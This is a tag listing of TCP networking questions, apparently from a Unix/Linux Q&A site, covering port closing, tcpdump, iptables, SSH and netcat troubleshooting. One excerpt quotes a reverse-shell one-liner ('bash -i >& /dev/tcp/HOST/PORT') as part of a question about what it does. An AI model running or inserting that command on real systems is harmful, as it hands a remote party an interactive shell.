The Transport Control Protocol (TCP) is a low-level part of the protocol stack used by the Internet. It sits directly above the IP layer and is responsible for making sure that dropped packets are resent.

learn more… | top users | synonyms

23
votes
5answers
1k views

How to close ports in Linux?

I have some question in closing port, I think I got some strange things. When I use execute nmap --top-ports 10 192.168.1.1 it shows that 23/TCP port is open. But when I execute nmap --top-ports ...
1
vote
0answers
21 views

Rsync - Corrupted MAC on input

Background I have a script on my NAS which is a Synology DS212J which is running on a special distro where uname -a gives me Linux DS212J 2.6.32.12 #4493 Wed Jul 16 11:37:16 CST 2014 armv5tel ...
4
votes
6answers
673 views

How do I work out which port to log in on with SSH?

I have an Ubuntu 10.04 server setup remotely that I setup a while back. While I recorded the username and password, I seem to have been clever and changed the usual ssh port from 22 to... something ...
0
votes
1answer
12 views

tcpdump Filter with certain file types?

I use the unix command tcpdump with these extensions -A -s0 -ien0 port 80 I know how to add, for example a new host, that would be and \ host random.com Can I sniff for certain filetypes? I have ...
4
votes
2answers
484 views

iptables port forwarding

I have a CentOS server with Java/J2EE(Tomcat) installed on TCP port 8080. I have two interfaces, eth0 and lo. I need to forward all incoming connection on TCP port 80 to 8080. I tried doing the ...
2
votes
1answer
610 views

Port Mirroring in Fedora?

I have set up an application that listens constantly to a port for network packets, and I would like to create another one that receives the same network packets ( for use as a test bed). Getting the ...
4
votes
1answer
98 views

Can iptables be used to monitor TCP timeouts/resets system-wide?

I'm trying to determine if an application's connection to a database is internal to the application or due to a networking event. This seems like something netfilter would have system-wide visibility ...
1
vote
0answers
62 views

Is this kernel warning a major problem that needs my attention?

Our Linux based Thecus N12000 NAS recently experienced this message in its dmesg log. [2014-05-21 11:34:56] ------------[ cut here ]------------ [2014-05-21 11:34:56] WARNING: at ...
2
votes
1answer
41 views

Allow non-root unmodifiable sofware to bind to ports 80 & 443

The company I'm in uses the Java Secure Application Manager to "secure" non-internal connections their webmail and electronic collaboration software. Aside from using expired certificates, and ...
4
votes
1answer
97 views

How to investigate a random reset on TCP client port connected via loopback interface to a server

I have a test suite which initializes a server on the localhost and then runs thousands of stress tests which include starting and stopping clients connecting to this local server on same machine. I ...
1
vote
1answer
37 views

Analyzing network traffic

I want to get a good overview what kind of network communication is going on on my computer. One way would be starting wireshark, which is fine for very low-level problems but is quite cumbersome to ...
2
votes
1answer
56 views

Kill any service running at a specific port

I am trying to write a script that kills service running at a specific port. This is my script: a=$(ps ax | grep 4990 | grep java | awk '{print $1}') kill -9 $a It's a java program. This script ...
1
vote
0answers
53 views

tcpdump not capturing http or tcp/ssl traffic

I have been trying to learn tcpdump and I am using this command to attempt to monitor my network: sudo tcpdump -I -i en1 But this gives me a bunch of stuff I don't want, so I used this version to ...
2
votes
0answers
57 views

nc -l in background closes immediately (nc -l 1234 &)

When I put this nc -l 12345 >nc_out in a shell script, run it and then connect from other shell using telnet, it allows me to type some text and have it end up in nc_out. But if I start nc in ...
0
votes
3answers
813 views

How to get info about given webserver FAST?

$ time nmap -q -sV -P0 -p80 google.com | fgrep '80/tcp open' 80/tcp open http Google httpd 2.0 (GFE) real 0m6.563s user 0m0.280s sys 0m0.016s $ Are there any faster methods to get info ...
2
votes
1answer
57 views

how to connect ssh 'with' specified port?

I know how to connect 'to' a certain port when ssh'ing. ssh user@remotehostip -p XXX but is there a way to establish a ssh 'with' a certain port? I mean, is there a way to specify the port which ...
2
votes
2answers
71 views

“tcpdump” to capture the last packets

I am monitoring a certain port, because my application uses that port, it seems that the connection drops at random times, I want to see what are the last packets passing through before the connection ...
2
votes
1answer
85 views

Linux “ip route” changes source address of TCP but not UDP

When sending packets from an application that binds to a local address TCP uses a different source address than UDP. For example, bind to 10.10.0.51 (alias IP), the src addr for UDP is 10.10.0.51 but ...
1
vote
1answer
299 views

Port 80 refused by Linux (Ubunt 12.04)

I am having an issue I cannot seem to resolve. I am being refused only on port 80. However port 8080, and 22 (Tomcat and ssh) are available. I am pretty sure this is not an Apache thing, however I ...
1
vote
0answers
130 views

Improving TCP performance over a gigabit network

I have two machines both network cards speed is 10Gbps. The inbound bandwidth between the two machines is 10Gbps, the outbound bandwidth internet bandwidth is 500Mpbs. Both machines are using public ...
2
votes
1answer
335 views

How can I configure OpenVPN to wait for slow SOCKS proxies?

I'm experimenting with OpenVPN connections routed through Tor, using pairs of Tor gateway and OpenVPN-hosting VMs. On the server side, link local ports are forwarded to Tor hidden-service ports on the ...
0
votes
1answer
105 views

Server Not accepting TCP/IP Connections

I have a Wt application running in a CentOS server machine(Machine A) in the port number 9798. Application is up and I could view the web page with the URL, http://localhost:9798 But application ...
1
vote
0answers
75 views

IPTables 1.4.7 dropped allowed packet

When looking in the /var/log/messages file I found this line: May 23 10:56:02 localhost kernel: IP4T Invalid TCP flags IN=eth0 OUT= MAC=70:5a:b6:ec:95:6b:00:23:48:ad:b0:a4:08:00 SRC=A.B.C.D ...
0
votes
0answers
57 views

How to set sctp_nodelay to enable piggybacking while replying back

Problem: We are hosting a telecom application that receives traffic from the network at > 500 TPS. The packets are piggybacked so each sctp packet contains multiple application layer packets lets say ...
2
votes
1answer
157 views

WITHOUT using network command lines in linux, how to know list of open ports and the process that owns them?

I want to know which ports are used by which processes in embedded-linux. Since it is simple embedded-linux, there are no network command lines such as netstat, lsof. (only basic command lines such as ...
3
votes
1answer
410 views

Which TCP congestion control algorithm is best for low speed radio modems?

On my project we have remote Linux nodes that communicate over the Internet via very low speed CDMA cell modems. The bandwidth on these modems is about 2kbyte/second and the RTT back to the server is ...
25
votes
2answers
2k views

Can TCP provide more than 65535 ports?

Is it possible to setup a Linux system so that it provides more than 65,535 ports? The intent would be to have more than 65k daemons listening on a given system. Clearly there are ports being used ...
5
votes
3answers
762 views

How can I know the process name which is opening a tcp port?

I have two linux servers. Let's say they are C and S. C is client of S On my S machine, I type. $ netstat -an | grep ESTABLISHED tcp 0 0 192.168.1.220:3306 C:57010 ...
2
votes
0answers
23 views

Discovering the Cause of tcp rcvpruned?

I get a few rcv pruned packets on my load balancers a day and I would like to know what the cause is: However, based on my tcp_mem vs tcp_mem usage I don't understand why some packets are being ...
0
votes
0answers
30 views

Dropping unnecesery TCP connections

I use Enigma based satbox as live stream source. I noticed that sometimes connection established from my server based streaming application to satbox is still keep as ESTABLISHED, even after stopping ...
5
votes
2answers
589 views

Real-World Use of TCP_DEFER_ACCEPT?

I was perusing the Apache httpd manual online and came across a directive for enabling this. Found a description in the man page for tcp: TCP_DEFER_ACCEPT (since Linux 2.4) Allow a ...
1
vote
1answer
107 views

Linux fedora - httpd package and router, how to make it work?

I installed HTTPD package to setup private web server in my house on one of the computers. The server is up and running, but I can't access the server from outside by using my external IP address. I ...
6
votes
3answers
247 views

How does one capture traffic on virtual interfaces?

I would like to capture traffic on Linux virtual interfaces, for debugging purposes. I have been experimenting with veth, tun and dummy interface types; on all three, I am having trouble getting ...
12
votes
1answer
2k views

Why is my TCP throughput much greater than UDP throughput?

I haven't done anything unusual to my hardware or kernel configurations (all default settings, fresh OS install, Linux kernel 3.11 TCP/IP stack) and I'm averaging about 3.83 million messages per ...
3
votes
1answer
357 views

How to use netperf on specific NIC port?

I have two servers, SERVER and CLIENT. Each server has its own onboard 1 GbE ports, and its own NIC with a 10 GbE port. SERVER and CLIENT are interconnected on both a 1 GbE switch (administrative ...
2
votes
2answers
1k views

nc: bind failed: Address already in use

I am trying to execute nc command from a script , my script is executing nc command on different ports of Destination using the same source port. e.g: nc -p 8140 -z -v -n 10.X.X.9 9090 nc -p 8140 -z ...
1
vote
1answer
51 views

How can I tell which ports have been used for reverse SSH tunnels?

I have two machines, client and server. client has created a reverse-tunnel on server with something like ssh -R 12345:localhost:12345 server. When logged into server how could I find ports which ...
1
vote
3answers
1k views

tcp6 in the output netstat

What does column 'tcp6' mean on output netstat? Please anyone explain the follow output of netstat: tcp6 0 0 dmz.local.net:www 5.140.235.6%14631:49964 ESTABLISHED 21393/apache2 What does tcp6 mean? ...
2
votes
2answers
1k views

How do I find out what file Apache is serving when a port is hit?

I'm working on a server someone else set up. The server is CentOS 4.6 running Apache/2.0.59 (httpd). They have an update service setup on port 8443. I know it is working but I need to find out what ...
2
votes
3answers
315 views

How to record an interactice socat TCP/TLS session?

Socat is great for interactively testing line based human readable protocols like HTTP or IMAP. For example: $ socat -d -d READLINE,history=$HOME/s.hist openssl:host:port,crnl,cafile=some.ca For ...
2
votes
1answer
55 views

How does the kernel know which file descriptor to write data to after fork() in a concurrent server?

Basic concurrent client/server architecture: There's a main loop listening for requests on a port (for example 3000), after accepting the connection the server spawns a child process that ends up ...
1
vote
1answer
224 views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried this bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind ...
1
vote
0answers
88 views

Command for finding open ports

On my linux servers I have this alias set: alias ns="sudo lsof -Pi|grep -v ESTABL|grep -v CLOSED|grep -v -e '->' | tr -s ' ' '\t' | awk '{print $3 "\t" $8 "\t" $5 "\t" $9 "\t" $1}'| column ...
16
votes
6answers
17k views

Linux: allowing an user to listen to a port below 1024

I need to allow an user (different from root) to run a server listening on port 80. Is there any way to do this?
6
votes
2answers
246 views

what's the format spec for `ss -D `?

Background of the question: I am trying to sum up the total bandwidth, but ss -i cleverly converted numbers to more readable format like Kbps/s or Mbps/s, which is not accurate. So does ss -o with ...
2
votes
0answers
217 views

graph TCP connection performance based on `ss -i`

A nearby question has brought to my attention the ss utility on Linux, another utility to investigate sockets. It would appear that it may be a great tool to monitor the performance of, say, an ssh ...
0
votes
1answer
83 views

Strange network problem (ssh) after hardware switch - packet loss?

My machine crashed (would not start) and so I pulled my harddrives and memory (which was not stock) and brought to another identical Dell optiplex 755 which I found in the office. Now everything seems ...
2
votes
2answers
159 views

How do I share stdout between multiple processes?

I want to receive live TCP stream, and make it readable by another processes at the same time, without saving it. For example, 111.222.233.244:1234 streams actual time. Server supports only one ...
1
vote
2answers
124 views

What ports are essential and should generally be allowed on a Linux system?

I'm running a desktop computer, but one with high threat risk. I've blocked all ports using a firewall except: HTTP, HTTPS, DNS, one port for torrent client. Do any common processes in distros ...
0
votes
0answers
56 views

Is it possible to move established connections on one port, to another without dropping data?

this problem has been bugging me for a couple of days now. I can't figure out a good enough solution using iptables without having dropped packets. So here is the back story. Say I have a client ...